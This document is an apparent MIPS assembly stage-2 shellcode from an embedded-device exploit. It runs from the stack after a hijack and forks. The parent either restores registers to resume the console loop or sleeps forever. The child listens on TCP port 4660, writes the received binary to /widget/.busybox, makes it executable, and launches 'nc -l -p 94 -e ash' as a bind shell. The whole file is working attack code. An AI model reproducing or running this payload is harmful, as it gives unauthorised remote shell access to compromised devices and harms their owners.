noreorder 21 | .section .text 22 | .globl __start 23 | __start: 24 | 25 | # This code lives on the stack, so move sp out of the way to make sure it 26 | # doesn't end up getting clobbered. 27 | addiu sp, -0x500 28 | 29 | # Establish a way of doing position-independent data load. 30 | bal relative_to 31 | nop 32 | relative_to: 33 | move s6, ra 34 | #define LOAD_ADDRESS(register, label) \ 35 | addiu register, s6, (label-relative_to) 36 | 37 | ###################################### 38 | ### SET UP COMPLETE - BEGIN STAGE2 ### 39 | ###################################### 40 | 41 | # First, fork into the background. 42 | # The parent will either attempt to fix the stack and reenter the console loop, 43 | # or simply enter an infinite sleep loop, depending on whether or not 44 | # ATTMEPT_STACK_REPAIR is defined. 45 | # The child will continue with stage2, and download&execute busybox. 46 | 47 | li v0, __NR_fork 48 | syscall 49 | beq v0, zero, is_child 50 | nop 51 | 52 | # PARENT - safely exit stage2 53 | 54 | #ifdef ATTEMPT_STACK_REPAIR 55 | # Try to load back registers s*/gp/ra and return to the console command loop. 56 | addiu sp, 0x528 57 | lw s6, 0x30(sp) 58 | lw s5, 0x2C(sp) 59 | lw s4, 0x28(sp) 60 | lw s3, 0x24(sp) 61 | lw s2, 0x20(sp) 62 | addiu sp, 0x1260 63 | lw gp, 0x10(sp) 64 | lw ra, 0x0538(sp) 65 | lw s1, 0x0534(sp) 66 | lw s0, 0x0530(sp) 67 | jr ra 68 | addiu sp, 0x0540 69 | #else 70 | # Sit here and wait until the end of days. 71 | infinite_sleep_loop: 72 | LOAD_ADDRESS(a0, timespec_10sec) 73 | li v0, __NR_nanosleep 74 | syscall 75 | b infinite_sleep_loop 76 | nop 77 | #endif 78 | 79 | is_child: 80 | # CHILD - continue to download/execute busybox 81 | 82 | # Create & bind TCP socket... 83 | li a0, 2 84 | move a1, a0 85 | move a2, zero 86 | li v0, __NR_socket 87 | syscall 88 | beq v0, zero, child_exit 89 | move s0, v0 90 | 91 | move a0, s0 92 | LOAD_ADDRESS(a1, socket_sockaddr) 93 | li a2, 16 94 | li v0, __NR_bind 95 | syscall 96 | bne v0, zero, child_exit 97 | 98 | # Begin listening... 99 | move a0, s0 100 | li a1, 1 101 | li v0, __NR_listen 102 | syscall 103 | bne v0, zero, child_exit 104 | 105 | # Accept the first connection... 106 | move a0, s0 107 | move a1, zero 108 | move a2, zero 109 | li v0, __NR_accept 110 | syscall 111 | beq v0, zero, child_exit 112 | move s1, v0 113 | 114 | # Open the output file... 115 | LOAD_ADDRESS(a0, busybox_filename) 116 | li a1, 0x0101 # O_WRONLY|O_CREAT 117 | li a2, 0755 118 | li v0, __NR_open 119 | syscall 120 | beq v0, zero, child_exit 121 | move s2, v0 122 | 123 | # Download the file... 124 | addiu sp, -0x100 125 | 126 | download_loop: 127 | move a0, s1 128 | move a1, sp 129 | li a2, 0x100 130 | li v0, __NR_read 131 | syscall 132 | beq v0, zero, exit_download_loop # Exit loop if socket closed... 133 | move a0, s2 134 | move a1, sp 135 | move a2, v0 136 | li v0, __NR_write 137 | syscall 138 | b download_loop 139 | exit_download_loop: 140 | 141 | # Close down everything... 142 | #move a0, s2 # Not needed... This is in the branch-delay slot above. 143 | li v0, __NR_close 144 | syscall 145 | move a0, s1 146 | li v0, __NR_close 147 | syscall 148 | move a0, s0 149 | li v0, __NR_close 150 | syscall 151 | 152 | # Exec busybox! 153 | LOAD_ADDRESS(a0, busybox_filename) 154 | move a1, sp 155 | LOAD_ADDRESS(t0, busybox_applet) 156 | addiu t1, t0, 18 157 | busybox_arg_loop: 158 | sw t0, 0(sp) 159 | addiu t0, 3 160 | subu t2, t1, t0 161 | bgtz t2, busybox_arg_loop 162 | addiu sp, 4 163 | sw zero, 0(sp) 164 | move a2, zero 165 | li v0, __NR_execve 166 | syscall 167 | 168 | child_exit: 169 | li a0, 42 170 | li v0, __NR_exit 171 | syscall 172 | # Returned from exit??? Sleep and try again... 173 | LOAD_ADDRESS(a0, timespec_10sec) 174 | li v0, __NR_nanosleep 175 | syscall 176 | b child_exit 177 | nop 178 | 179 | busybox_filename: 180 | .asciz "/widget/.busybox" 181 | busybox_applet: 182 | .asciz "nc", "-l", "-p", "94", "-e", "ash" 183 | socket_sockaddr: 184 | .hword 2 185 | .byte 0x12, 0x34 # Port 0x1234 (4660) 186 | .int 0 187 | .int 0, 0 188 | timespec_10sec: 189 | .int 10 190 | .int 0 191 | .long 0 192 | --------------------------------------------------------------------------------